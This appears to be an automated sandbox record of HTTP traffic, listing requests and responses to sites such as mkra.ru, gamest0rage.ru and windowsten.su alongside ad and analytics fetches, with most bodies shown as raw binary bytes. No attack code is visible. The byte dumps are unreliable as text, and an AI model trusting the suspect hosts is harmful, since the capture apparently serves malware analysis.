....3P....(...dz....[.<.9Erl..T...O.9...2*...e.P.'....=MW..F..z9C..>.g...L......Q..4..2i7S2i3@.2}.....I..rM.....?J.<...3?JR.J...P^.-M&.$..F..4...}&..<Q.P..Rn..3Fh....'.i....qb(....I.v...Z3Q.A4...Q...)3H.wRg..{..N.q.....sK..E....._}..Er}....T...@.M..F..C...(.X.:....cu&..0# ..iwP.$.(.Q..4..3F..4.......u".u...g8..n.7S.=E.....I...B..f....$.f....m..4....4..}....M.......b.!jM..i..z..7Rn..j$...x.E2'.s...W,.4..9dHc2L..9,.....I.Y.bn...L!C... c..\..c=x....I..-.n.5~#x\.5<...'...W..>.tV....Fp....=...}G.!.U.#>`...To.]...c... .....P..)....9==..0...j............V...E..}..U..I..?..N...}.....u...s.......<.].f''su.fF`.0.9.....S.c.4.....C.*FL...U..n........8n..|T..1.....3u5K..<....R..p:.?....W.8.q.....`.:..f.N...1....mO.

<<< skipped >>>

GET /wp-content/uploads/2015/09/4192eab47979fb89f376c7641263ceb6.jpg HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/jpeg

Content-Length: 13321

Last-Modified: Wed, 16 Sep 2015 14:55:26 GMT

Connection: keep-alive

ETag: "55f982de-3409"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....-`..6..>acr...B?P f..H..cG.\...o\pA<..V,..._.?..M..)".*AN..:..^.I...V}....Sz=...... .0..=s......!......8.f..8}...Nq...h&V.u4{.S...e..9.v.......z.85...=..<K........4. {.....N.k...K..Q..F]Tt..sS.....w.|6. ......V...{ .4.=WM{../.j\R........2x..8.^(......q..$.69...pp@..:.=KP.WD..;A...0.p. .0..N.)Rl...9.#."...G&...O..U...c.y.c=(..B% ......Q...E4..n.....c.\R.]A....JGj.$.qkq..4.s..3E;.7........\.{b......(Z...$W7.MoK..{}T..L..8p.8 ........:.Z...,.b.[H..[.0..J....d.l..>...{.7.JV....NHn..st.I....j..rX.L.....=.2xv3..k.....<...Q........,". ..k..l.....O...(.....j..6......q....k..Y=.......V>..`jh.x.F.._..{r1.#.k...s....:...k..?........Gw.h.s.x..,(.2F.F.#...c.;....t.7........`.>.\g...yL.(...Ex...T...*..a...F...4q....).....Q'.../2.......#.UE....$.....K...............Y.7:.8......GNkt...[....N.Kt.O?.o.:.G.'..........p.t..;...dV......

<<< skipped >>>

GET /wp-content/uploads/2015/09/4bd07d7f0ead211d9bf4f4e05b0ce5a4.jpg HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:08 GMT

Content-Type: image/jpeg

Content-Length: 11987

Last-Modified: Wed, 16 Sep 2015 14:55:24 GMT

Connection: keep-alive

ETag: "55f982dc-2ed3"

X-Powered-By: PleskLin

Accept-Ranges: bytes

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80....C.....................................%...#... , #&')*)..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..$..T...XH...2G.......]"...R.~.eb..*...K.\.a.=......V..x.R,U-.....5*.#.jq..?..*....M....?c..D.......>.-...G...X...U8.OU..m.).*z..S..T.}s...T64..................lW.=.(A...!...p..J..XG.).1V.`b...hw....lS.>..!...F0(..@S..vc.9..i6.sE...........Ni.*.%....m.8..m..5.`..cH.nz..Q.....9.....p2Fh..Eo,v.l....Z....-h.g....V=....P/..s.....i..5X.}..\9,....<....>.A......z.'.#.....8.P.~'..=.M.Qz[*..*.......X.....W........B.|......d...0_.D.u.. ..]!.>..K....:...^....&.CZ...Lu...Pq..T.....3....G..ZDK..jd.`b.X.sR.{..2....<b.Bz`...... .....X.i..M.z..?..]..<.N.{b........{..=.)..J.h.=.q.......U..j....X.L...c.g......<......T.X...n."d.,... .....Q[[.&I.Ip......Tv..sVv..E.`....4....6.B..Twb......;Q.{..'.T....?..0..8.ua...3o.)S.i..........P.%N).=z...g.})......E......H[..0...HV# ...L...B..../.}....<s..U....U.v.@E<.........{........1c<}..

<<< skipped >>>

GET /wp-content/themes/mesocolumn/lib/scripts/modernizr/modernizr.js?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:11 GMT

Content-Type: text/javascript

Last-Modified: Fri, 21 Aug 2015 20:31:11 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78a8f-2fb2"

X-Powered-By: PleskLin

Content-Encoding: gzip

1372.............Zk{.6.....Brd..(9..-UT.;i.........{...%J....m......."J...s........af..W..4.Y.}..g._.g..\.E....Q....z.......^.....u.YQ...`Y.u.t9...$NU0x............,]'A.}B7.."Z.i..T..st.....~..;.....*....../.q..b.M.~.R~Tl...S.B...r?.U...(Mr..i.^.9...T........).....4...uE..<L..Q.y....X.Vq...}..t.W.....D[?..T%A....L.3....`.......A..o.@..(.........(...J..8.UL .}.4/...E;.."....^....sQ.c..By*73.i..Y._~4..U...`^..&.. "..*............;....i.......nA.z.4Z%.ub.....o..}.. .~....`.T.f.5........%.<....F..qo.e....o...Wih))..........g..l.p.}.....KPH......(.@*..T..z............'..#.oW.xR.Ux.....w...{.?.V...tk.Pz...f...6..:.c.t..P..!.....$<.n=..O...f.9.T.40{U......V .]B...)'.2k~n.-.....J....{...P..SoT...{..*.d....ta.P.D. .{p.......q......d.#...cla.Q~KHr.z}'......o.(...b.C^..~..EMn..0.n.....x..i..7.^B.9#..9.p....>...5.~.X.d.b..Z.)...R.-.....-Zk.b8.Y........ ..b.J.......u.....X..# .go.-K::...LD.js...~...xU@*......&B..$..C#.1FN....,.......V.Ch.......*....G7Q.y.....(.t2bb.GF....!..C.......Q..........O.8P...3\-|a....h......[.:s......ipE....c|!.u....1'.#....I....AG.Y....:.^.7.&.v...........?.v.1....^..=3&......Cs.p..:...1b. ..;2....2j...ZCshV....-.g..,.....6.k..lf.j...Aj.w.....T.H..M.f... U.......;.G.. .@.I. e.XXs.3.....l1.Q)j.x0..&..c.\..%6...2>C$.Yt;An}..L?.7.V...$.T.R..\>Y..e..J.m.......m......1...~.rr-n...z.V../,_.BW~YDb.......n.x../.68..n........W*..[...|h...8..~..?.z.D..c..qg=.L8...j..#...u....9L...#...Y~..q..=.J.o.f.[v]zaFb.Mf./......p.|^O."9.,.aa.Ie...O2&.Q.R....d.g`P.....>.|....H$}.........?..:..m..&yl2

<<< skipped >>>

GET /wp-content/themes/mesocolumn/lib/scripts/custom.js?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:12 GMT

Content-Type: text/javascript

Last-Modified: Fri, 21 Aug 2015 20:30:53 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78a7d-528"

X-Powered-By: PleskLin

Content-Encoding: gzip

286..............Kk.@......S.D-9.=.;...J....K...#k....]Y6......&..-.AH..v.{..'w.....8..#T......r..c...6J.kEek;*..P......n.Q.5.....D...z..V.4_M..No.PDH........B'n..m..(..:..g.......av......P.)...:M.<........v.o.X.....^<..<d....y.........T.YoJ....~......}.....<...Z.v.......XD.........x.$...:.Y......@..[.X.3.j..h..05. {.....!e9..e...._..`w..._x..z.`...0p.g.y.J7.9.Zp.....h...0A...6..Y..q2...bC...s.-1L.s.UD.`.AG.k......J..l.`...P* ..p.....R.i\.h.....Z.B..\..H.....,..\&.1.Sr.f.U.Hf..........i...~v[.."..4.....b4..9I.7....|.....ka'K..N.X......M.N.4..u..ZBp=..q...^6a........?.......sKh.x.RW.....d6.:e.....]%.D7...e.-....x..z..9.4.2hVv(..dO..s.......(.....0..

GET /i443/1505/45/cc7ce6aea5ef.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s017.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Mon, 18 May 2015 20:40:54 GMT

Accept-Ranges: bytes

ETag: "66986cefaa91d01:0"

Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=5352f1d1cca1748f; expires=Mon, 16-Sep-2030 21:04:16 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:16 GMT

Connection: close

Content-Length: 364393

.PNG........IHDR.......x........)....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^....f....Z..7/33333'33g*.R*S).R.L.%...2.$3.]..."W.......tW....~...9.~....3].VM.[ .9'N.......c....l.b.../?.....x......G...x.....@qq......1.g....-.....9c..|.......W.k.-W]..?.........ZVZ..f.YNV.K.Y....f...s)/'.|....L.........C}]...l... ...;...)e...-p.<...sH....ji.I..nJ....)8.y.>/.<`......o...4.].H.A.(....T.......v.F...;.w76...<....s.........p.*........W}... .......bp*-....< ......y..;....RuI.A].N..\.r...%r.....`....>.......7.YX.. ..//)...B........U.]_Hn....I}T...U...TV.O.\...........b.,.....{...K....0n....l.u..2.........r..a.......WW....7.G........`...2...Q]..x)....j.J...gp..!.....N.WEi..K<<...Nu...U.\.K.._j..6. K.........}~-......8..T..S.5G.L.G....V.w.oIs.........rk..tW..|.....Z.k.........b7....>.q................Mp..........[.p........t...uU.J..u........k...Zn.....cX...8|........7..U.{...o..(.s..T..r....V..80VjC....W.4.*..]..f^Z.k..........Z._7....2.-.M.k[K..~rU..Q........@Ic.J.m...J...T.2U..........]`5Q..qm..z.]......kn...^0.....j_.H..i..H...u..;.;..r..0O.........jotm.;o..\V.6...V.7................{..h...h^4.].V.-......X..&.O.z..........h.=m6..a..]...t..P..W.@o..3...R.w..^.?.....Z/.......f(....H...8............C..kS..jq..b..e...._.ExC.....^.a{..2...sX......N@..........a..,.zfz.e@.uU...4.,...[p.3.!..)..L:,..2"a?r.2...............W....l..~.xx"...U..1.c<.<7vbF..%....q...b.....@........&2..7..)......"........`.Bf. /r."..1J._?...'..w]]..;..Na;E|xj[....5..w....W?.<

<<< skipped >>>

GET /i304/1508/ac/e4d1dcc22d86.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s008.radikal.ru

Connection: Keep-Alive

<<< skipped >>>

GET /img/informers/logo-t2.png HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sinst.fwdcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 2444

Last-Modified: Wed, 05 Nov 2014 09:28:02 GMT

Connection: keep-alive

ETag: "5459eda2-98c"

Expires: Fri, 16 Sep 2016 03:04:10 GMT

Cache-Control: max-age=31536000

X-Server-By: sinfe3

Cache-Control: public

Accept-Ranges: bytes

.PNG........IHDR...].........i.C.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx..Y.PT......,.E..*/......(.Q...H&...h.......51..Ct..US..M.6...1m...1..D.......,...<.e....w....A..i...s.y.......\._?.h... ......7?>..V ....V...g..b....gV.k...`.......J8...B............ztv.. ....]|6[.@g.`.....m}...;..g.J.3..\....3...O.....<].(....%e.VO..0...7.Pr..B.EJ..J...e}..l.3..S9.)d.v..x^..x.7.y.._..........c...u.X...<..W).......6Qk{...f...n*.t.1.}E. .a....J.m....ew.9...t. 7..............M..t2i...q<.....9.}.,IR...m.tg.M.6lY......ec..{...pA.-.&v..P(X.;*....q$G.[tD[:z.8..................n..S.'"H.FvQ..U...... /nG.oNk........w.B.....N...{.d...rlZ../..p...5.....A..`<....}..(.R...e1|..'.h.3V<..8..=.......J._...@...m....o...o...X.....M..@.P...!..D.=._.....[.`...t.lk...BI#.........hcY....hsM..z..Z|.../=.......k[{P...S.5..../...2=......__.....Hfx.8..F...........c>..=.|*....ara.....k.]..oX.....p.`..mO..@....G{/./..'eH.....9.}w.._...R..z..KU..z.p..|..0\..0o..c&....-m...%.... .Z=.z&.7....w......D.>/...N..X.........~j.....4....^..|...<.].K.G.t6.w2!. ..=.C.....9....Je..:.......'..Hd>.....7...........M0K.r.0Rp....v.j.&w.V....M."-....Y.o....a.nW.. G..P...)..xn.:.fI..:........?..|.....2..."..3...XV$.vq.G.....%Um<.j.V..S..P....f..G.......f.....A].\....Gg.....v,.....`_...kwZ$c.-J8..C.Y.!P..l.K..#~....L..k:.;.......8..=by1=.SA...y..p .O..=.W=b.3XY.Ax.?/.........Q7.9.E.@....m.=#~..G.....VR..O....s..w..x.{.d_...U.....].s....}.4..Q..k.j.I)....,...........S...#..o.J..{..3aD......(.d..qr......9r.b....'hruS..z}.P...P.

<<< skipped >>>

GET /img/informers/hlc-t2.png HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sinst.fwdcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 181

Last-Modified: Wed, 05 Nov 2014 09:28:02 GMT

Connection: keep-alive

ETag: "5459eda2-b5"

Expires: Fri, 16 Sep 2016 03:04:10 GMT

Cache-Control: max-age=31536000

X-Server-By: sinfe3

Cache-Control: public

Accept-Ranges: bytes

.PNG........IHDR..............q.u....tEXtSoftware.Adobe ImageReadyq.e<...WIDATx.b...>.......H...1.T.B\..]MN.AT.......J_........$`k.......J..0 .. ? .3. ..... @...dg."fG......IEND.B`.....

GET /img/informers/s-informers-t2.png HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sinst.fwdcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 36708

Last-Modified: Wed, 05 Nov 2014 09:28:02 GMT

Connection: keep-alive

ETag: "5459eda2-8f64"

Expires: Fri, 16 Sep 2016 03:04:10 GMT

Cache-Control: max-age=31536000

X-Server-By: sinfe3

Cache-Control: public

Accept-Ranges: bytes

.PNG........IHDR.......D......W.,....tEXtSoftware.Adobe ImageReadyq.e<....PLTE................. ..............^....................................o....o.................n.....U.........Q.....o..........0...x..m..............N....................{.......................................................................5.................}........................................................<{......................................................................M............................4........................y......................7..............................................................o....................K\..i..........................F..Q..............p....R.........................................;...................................F.............................................}....B.........e..~......................./.?.....IDATx....|S....HBh,...X:.....X.p .X". ..'[....pKb.Z...Lc..50(].n.Q.kZ.?......y.....6.v...'.{N.l......k.....$'...a...w.t...^....9...'ob...g.Z...L.....e..Q.x..2.;~Z>.F6N..\..Np....2.u..0km.3 .0..a...u,-. ....O....Z...p......\..Np....j.....k.._..bY..k.../N.Ych...p.@..a.z....g......6 .6..k.....\.c.ee.'^f....4[J,.Z...^K...w..<,..6.*.....v....O../8..@Z.!M|.....^.t...q.:...Y..ik.. z..E..w...i.q.*.|..qmQ.q.k'...y......}...{sQ.......?.."....}.=...x *...]...0..Gc.e..jc<W.:.....44..|...3..r..w..]V.fLW...h......1."..,)(.pOCC.....8..;:UdZ...B...]A.i.ij6\9Q....[.UG.6....j..._@v.].g.2.yf...gf..J. ...*gNr6[S.f.[.!>.@....!C}=.xr.*..l.).....{..___..(mQ.n.&Z9..k...~...1]Q..u

<<< skipped >>>

GET /img/informers/frc-t1.png HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: sinst.fwdcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:10 GMT

Content-Type: image/png

Content-Length: 168

Last-Modified: Wed, 05 Nov 2014 09:28:02 GMT

Connection: keep-alive

ETag: "5459eda2-a8"

Expires: Fri, 16 Sep 2016 03:04:10 GMT

Cache-Control: max-age=31536000

X-Server-By: sinfe3

Cache-Control: public

Accept-Ranges: bytes

.PNG........IHDR.............F3.@....tEXtSoftware.Adobe ImageReadyq.e<...JIDATx.b....?}.......A.. ......}.....,...fx.....G.@r56..G.....9....(p.$..`.23,....i....IEND.B`.HTTP/1.1 200 OK..Server: nginx..Date: Thu, 17 Sep 2015 03:04:10 GMT..Content-Type: image/png..Content-Length: 168..Last-Modified: Wed, 05 Nov 2014 09:28:02 GMT..Connection: keep-alive..ETag: "5459eda2-a8"..Expires: Fri, 16 Sep 2016 03:04:10 GMT..Cache-Control: max-age=31536000..X-Server-By: sinfe3..Cache-Control: public..Accept-Ranges: bytes...PNG........IHDR.............F3.@....tEXtSoftware.Adobe ImageReadyq.e<...JIDATx.b....?}.......A.. ......}.....,...fx.....G.@r56..G.....9....(p.$..`.23,....i....IEND.B`...

GET /pagead/js/adsbygoogle.js HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pagead2.googlesyndication.com

Connection: Keep-Alive

HTTP/1.1 200 OK

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Content-Type: text/javascript; charset=UTF-8

ETag: 3361183559695965719

Date: Thu, 17 Sep 2015 02:12:49 GMT

Expires: Thu, 17 Sep 2015 03:12:49 GMT

X-Content-Type-Options: nosniff

Content-Disposition: attachment; filename="f.txt"

Content-Encoding: gzip

Server: cafe

Content-Length: 13547

X-XSS-Protection: 1; mode=block

Age: 3079

Cache-Control: public, max-age=3600

...........}iW.8..w~E......IX.lD.[..4...G...8N:v 4...UZ.........&.v.jWI6.....qhZ..lZ.I.. "..$..........0g.5..{............ .b.r,v2..{k...ih0|1.b....U..:...2.6...1.Y....t..j....%...#.|......#..75.\11.Qj.0........T.....76.Y...A.{.z..M.......N.i|.2....)s.(.^.a..1.Z.M2.g..z..."0....M... o,. . *5.A.gM$.X.R...a.......{I.eH...p.4... E8....\..o17?....k.2.!;.%..6D\...5t9...L.{..\@@..=.g.G...Wk...........t:.....GI=5.9b..t..@.8.._W!M..J.......b.Y....XM../...4..qk.\.v.\."K2].%.H...A....X.,3a..U.W...01d.......T..a.P/te.....[. .F..~.p.....R7}vX.. $..C...!.y.mN..:.8.LO..Y\...E..t...p.j.....f.&y....Q:.6.h.$=..`.#FM..9.}....O.....yq.T..Q1:).U...i4....p..a.=.....f..~.O[.I....7,............p..*6*;...sz/.......,..Z0.L`M..w-f..1.hw<..(\w....05(..&.{...e..d......d.h.....bG........%~l...L.8.,.,..x4...w...~k5.j` .)>.N.,"yI..."k1..[..oY..M..kdZ....T..?r....'3.L,...h7.....4K.:.8rV?Y.r...<.............x...(....3?2....v......./..........6]!]E\.T...V..>.......SL..kc../...W...x....{.....l...k..5.?.&.D.VK&>4.N}iA.I..j......P.z1.}'.....A....'...'.e-@......E.*k7:.....".....ip=`.M.P...G.#._,X.R.F.(.c...1.7..^-...d.u......X.b..:gf.../t.TK..--.Y..5@..\'.!{.s..*.^f.Ujl.U.jP.....?.|..1..%(...XZ......?k...........S.'.[.-..#9..........`...>......~4...A;....9..3...^..............g.&.!.y~...^....k.M7>j.......7.. j....W..Y .)..y....,B"...lUZ..Q..........(...(..|.$l..L.u..k...6G~..Ht..A..c#_...L...%A.r....,.&..].).KA-Px....P.;G....@..!.i.....KB..............A...yx..............$....Q.....Ku.].%.`..3.H*.. .xQ.X{.....`...tk|...<...

<<< skipped >>>

GET /svn/trunk/html5.js?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: html5shiv.googlecode.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 17 Sep 2015 03:04:07 GMT

Server: Apache

Last-Modified: Thu, 26 Sep 2013 10:05:28 GMT

ETag: "32//trunk/html5.js"

Accept-Ranges: bytes

Expires: Thu, 17 Sep 2015 03:07:07 GMT

Cache-Control: public, max-age=180

Content-Length: 2429

Content-Type: text/javascript

/*. HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed.*/.(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h ,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();.a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(" m().join().replace(/[\w\-] /g,function(a){b.createElem(a);b.frag.createElement(a);return'c("' a '")'}) ");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";.c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_h

<<< skipped >>>

GET /hit?t58.10;r;s1276*846*32;uhttp://mkra.ru/;0.990526831055492 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: counter.yadro.ru

Connection: Keep-Alive

Cookie: FTID=1L-Yse1A9jLN1L-Yse; VID=2SGon72LkB5N1L-Ysf

HTTP/1.1 302 Moved Temporarily

Date: Thu, 17 Sep 2015 03:04:10 GMT

Server: 0W/0.8c

Content-Type: text/html

Location: hXXp://counter.yadro.ru/hit?q;t58.10;r;s1276*846*32;uhttp://mkra.ru/;0.990526831055492

Content-Length: 32

Expires: Tue, 16 Sep 2014 21:00:00 GMT

Pragma: no-cache

Cache-control: no-cache

P3P: policyref="/w3c/p3p.xml", CP="UNI"

Set-Cookie: FTID=0; path=/; expires=Sat, 01 Jan 2000 00:00:00 GMT; domain=.yadro.ru

<html><body>Moved</body></html>.HTTP/1.1 302 Moved Temporarily..Date: Thu, 17 Sep 2015 03:04:10 GMT..Server: 0W/0.8c..Content-Type: text/html..Location: hXXp://counter.yadro.ru/hit?q;t58.10;r;s1276*846*32;uhttp://mkra.ru/;0.990526831055492..Content-Length: 32..Expires: Tue, 16 Sep 2014 21:00:00 GMT..Pragma: no-cache..Cache-control: no-cache..P3P: policyref="/w3c/p3p.xml", CP="UNI"..Set-Cookie: FTID=0; path=/; expires=Sat, 01 Jan 2000 00:00:00 GMT; domain=.yadro.ru..<html><body>Moved</body></html>.....

GET /hit?q;t58.10;r;s1276*846*32;uhttp://mkra.ru/;0.990526831055492 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: counter.yadro.ru

Connection: Keep-Alive

Cookie: VID=2SGon72LkB5N1L-Ysf

HTTP/1.1 200 OK

Date: Thu, 17 Sep 2015 03:04:11 GMT

Server: 0W/0.8c

Connection: Close

Content-Type: image/gif

Content-Length: 435

Expires: Tue, 16 Sep 2014 21:00:00 GMT

Pragma: no-cache

Cache-control: no-cache

GIF87aX............333.f.W_k.f.lv............................,....X........I..8....`(.di.hZJj..0..tm.3q..........f..I.b....1z....O.......7L.O...z..d.Y..<g...|}..%.......mqt.zw{J.|rM....~].e.Xiq..X.....}....}.l........pwgk.c`...krS....W...........KV.........xn..........~..........................o..z..-....?E....u.K.:.3^."P.(uiM.....M.."Q"...b....V.X...\.Q....c5-0A.L.R...9["-....Cp.pB3q.M\.T..x....`.&.G%........6.......Qv..qx......;..

GET /metrika/watch.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mc.yandex.ru

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.3

Date: Thu, 17 Sep 2015 03:04:14 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://mc.yandex.ru/metrika/watch.js

